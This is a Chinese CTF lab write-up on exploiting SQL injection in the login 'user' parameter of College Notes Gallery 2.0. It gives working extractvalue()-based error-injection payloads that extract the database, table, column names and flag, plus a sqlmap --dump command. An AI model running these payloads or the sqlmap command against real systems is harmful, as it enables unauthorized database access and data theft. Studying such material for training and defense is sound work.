靶标介绍
College Notes Gallery 2.0 允许通过“/notes/login.php”中的参数‘user’进行 SQL 注入。利用这个问题可能会使攻击者有机会破坏应用程序,访问或修改数据.
攻克过程
1、打开靶机
2、 根据靶标提示,点击login进入登录界面
3、通过判断, 在username处存在报错注入
这时就有两种方法来获取flag。第一种就是通过HackBar进行手工注入,第二种就是使用sqlmap省时省力。
我们先来介绍第一种方法。
1、通过函数extractvalue()进行报错注入,分别获取数据库名称,表名称,字段名称及flag。
这里先介绍一下extractvalue()函数
它的使用语法是:EXTRACTVALUE (XML_document, XPath_string);第一个参数:XML_document是String格式,为XML文档对象的名称 ;第二个参数:XPath_string (Xpath格式的字符串)
而当Xpath语法将查询参数格式写错时,会有报错,于是利用这点进行报错注入
0x7e是~的十六进制,用来突出查询结果
concat()函数则是将几个字符串拼接起来
除了extractvalue()之外,SQL报错注入还有两个比较经典的函数floor() updatexml(),感兴趣的可以多了解一下
user=1' and extractvalue(1,concat(0x7e,(select database()),0x7e))# 爆出数据库名称
user=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='notes'),0x7e))# 爆出表名
user=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flllaaaag'),0x7e))# 爆出列名
在获取flag的时候,因为extractvalue()函数显示有长度限制为32,所以这里要用到substr()函数进行分段截取
substr(string,start,length) 对于给定的字符串string,从start位开始截取,截取length长度,如substr('chinese',3,2)=in
同理,还有两个类似的函数stbstring() mid()是一样的用法
user=1' and extractvalue(1,concat(0x7e,substr((select group_concat(flag) from flllaaaag),1,30),0x7e))#
user=1' and extractvalue(1,concat(0x7e,substr((select group_concat(flag) from flllaaaag),20,30),0x7e))#
接下来就介绍sqlmap的使用。将登陆界面的数据使用burpsuite抓包保存为test.txt
sqlmap -r test.txt --batch --dump